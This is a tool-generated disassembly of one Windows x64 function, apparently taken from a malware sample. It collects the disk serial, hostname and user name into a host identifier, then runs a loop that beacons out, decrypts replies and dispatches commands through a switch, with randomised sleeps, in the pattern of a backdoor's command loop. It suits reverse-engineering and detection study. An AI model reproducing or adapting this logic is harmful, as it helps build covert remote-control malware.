Function at 0x1400042fd
Capabilities:
Get disk information
Get hostname
Get session user name

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x608
mov rbx, rdx
mov dword [rsp + 0x5fc], 0
lea rcx, [0x14001875e]
call fcn.140005cd5
mov rsi, rax
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x5fc]
mov r8d, 0
mov edx, 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov rcx, rsi
call fcn.140005d5c
mov dword [rsp + 0x3ac], 0x10
lea rdx, [rsp + 0x3ac]
lea rsi, [rsp + 0x3b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [rsp + 0x3dc], 0x100
lea rbp, [rsp + 0x3e0]
lea r8, [rsp + 0x3dc]
mov rdx, rbp
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov dword [rsp + 0x19c], 0x101
lea rdx, [rsp + 0x19c]
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rcx, rbx
call sub.msvcrt.dll_wcslen
lea edx, [rax + rax]
mov r8d, 0xffffffff
mov rcx, rbx
call fcn.1400021d0
xor eax, dword [rsp + 0x5fc]
mov dword [rsp + 0x5f0], eax
mov eax, dword [rsp + 0x3ac]
lea edx, [rax + rax]
mov r8d, 0xffffffff
mov rcx, rsi
call fcn.1400021d0
mov ebx, eax
mov eax, dword [rsp + 0x19c]
lea edx, [rax + rax]
mov r8d, 0xffffffff
mov rcx, rdi
call fcn.1400021d0
xor ebx, eax
mov dword [rsp + 0x5f4], ebx
lea rbx, [rsp + 0x5e0]
mov rcx, rbx
call fcn.140004ea0
lea rcx, [0x1400170a0]
call fcn.140005c50
mov r15, rax
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rdi
mov r9, rsi
mov r8, rbp
mov rdx, rbx
call fcn.140002b0f
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140004a4a
mov edx, dword [rsp + 0x190]
mov rcx, rax
call fcn.140002a8f
mov r14, rax
test rax, rax
je 0x140004a40
lea r13, [0x14001876e]
jmp 0x140004920
mov eax, dword [rbx + 4]
lea rdi, [rbx + 8]
test eax, eax
je 0x1400048f0
mov ebp, 0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rbx
mov esi, eax
jmp 0x140004591
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, r15
call fcn.140002cb6
mov rbx, rax
test rax, rax
je 0x140004582
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [0x140017020]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.140002220
test rax, rax
je 0x14000457a
mov rcx, rax
call fcn.140004e72
mov rcx, rbx
call fcn.140004e72
add rdi, 8
add ebp, 1
cmp esi, ebp
je 0x1400048e1
cmp dword [rdi], 0xa
ja case.0x1400045a6.0
mov eax, dword [rdi]
lea rbx, [0x140018774]
movsxd rax, dword [rbx + rax*4]
add rax, rbx
jmp rax
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, r15
call fcn.140003073
mov rbx, rax
test rax, rax
je 0x140004635
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [0x140017020]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.140002220
test rax, rax
je 0x14000462d
mov rcx, rax
call fcn.140004e72
mov rcx, rbx
call fcn.140004e72
add rdi, 8
jmp case.0x1400045a6.0
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, r15
call fcn.1400035e3
mov rbx, rax
test rax, rax
je 0x1400046cb
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [0x140017020]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.140002220
test rax, rax
je 0x1400046c3
mov rcx, rax
call fcn.140004e72
mov rcx, rbx
call fcn.140004e72
add rdi, 8
jmp case.0x1400045a6.0
lea rbx, [rdi + 0x10]
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9, r15
mov r8, rbx
call fcn.140003d34
mov rdx, rax
mov qword [rsp + 0x78], rax
mov rdi, rbx
test rax, rax
je case.0x1400045a6.0
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [0x140017020]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.140002220
test rax, rax
je 0x14000476e
mov rcx, rax
call fcn.140004e72
mov rcx, qword [rsp + 0x78]
call fcn.140004e72
mov rdi, rbx
jmp case.0x1400045a6.0
mov eax, dword [rdi + 0x10]
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea r8, [rsp + 0x190]
mov qword [rsp + 0x38], r8
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x28], r15
mov r8d, dword [rdi + 0x14]
mov dword [rsp + 0x20], r8d
lea r9, [rdi + rax - 8]
lea r8, [rdi + 0x18]
call fcn.1400037e1
mov rbx, rax
test rax, rax
je 0x140004826
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [0x140017020]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.140002220
test rax, rax
je 0x14000481e
mov rcx, rax
call fcn.140004e72
mov rcx, rbx
call fcn.140004e72
add rdi, 0x10
jmp case.0x1400045a6.0
mov edx, dword [rdi + 4]
lea rcx, [rsp + 0x5f0]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9, r15
lea r8, [rdi + 0x10]
call fcn.140003a3a
mov rbx, rax
test rax, rax
je 0x1400048c2
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x194]
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 2
movzx r8d, word [0x140017020]
mov rdx, qword [rsp + 0x68]
mov rcx, r12
call fcn.140002220
test rax, rax
je 0x1400048ba
mov rcx, rax
call fcn.140004e72
mov rcx, rbx
call fcn.140004e72
add rdi, 8
jmp case.0x1400045a6.0
call fcn.1400042ce
add rdi, 8
mov dword [rsp + 0x5c], 1
jmp case.0x1400045a6.0
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
jmp 0x1400049fe
mov dword [rsp + 0x5c], eax
jmp 0x1400049fe
mov rcx, rsi
call fcn.140005d5c
mov rcx, r12
call fcn.140005d5c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xfff
lea ecx, [rax + 0xbb8]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140017120]
call fcn.140005cd5
mov r12, rax
lea rcx, [0x1400170e0]
call fcn.140005cd5
mov rsi, rax
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x198]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
mov r9d, 1
movzx r8d, word [0x140017020]
mov rdx, rsi
mov rcx, r12
call fcn.140002220
mov rbx, rax
test rax, rax
je 0x1400048f9
cmp dword [rsp + 0x198], 4
jbe 0x1400048f9
mov rcx, r15
call sub.msvcrt.dll_strlen
mov r8, rax
lea rdi, [rsp + 0x80]
mov rdx, r15
mov rcx, rdi
call fcn.140005210
mov r9d, dword [rsp + 0x198]
mov r8, rbx
mov rdx, rbx
mov rcx, rdi
call fcn.14000527c
mov eax, dword [rsp + 0x198]
lea edx, [rax - 4]
lea rcx, [rbx + 4]
mov r8d, 0
call fcn.1400021d0
mov dword [rsp + 0x5c], 0
cmp eax, dword [rbx]
je 0x1400044d0
mov rcx, rbx
call fcn.140004e72
mov rcx, rsi
call fcn.140005d5c
mov rcx, r12
call fcn.140005d5c
call qword [sym.imp.KERNEL32.dll_GetTickCount]
and eax, 0xfff
lea ecx, [rax + 0xbb8]
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsp + 0x5c], 0
je 0x140004920
mov rcx, r14
call fcn.140004e72
mov rcx, qword [rsp + 0x60]
call fcn.140004e72
mov rcx, r15
call fcn.140005d5c
nop
add rsp, 0x608
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret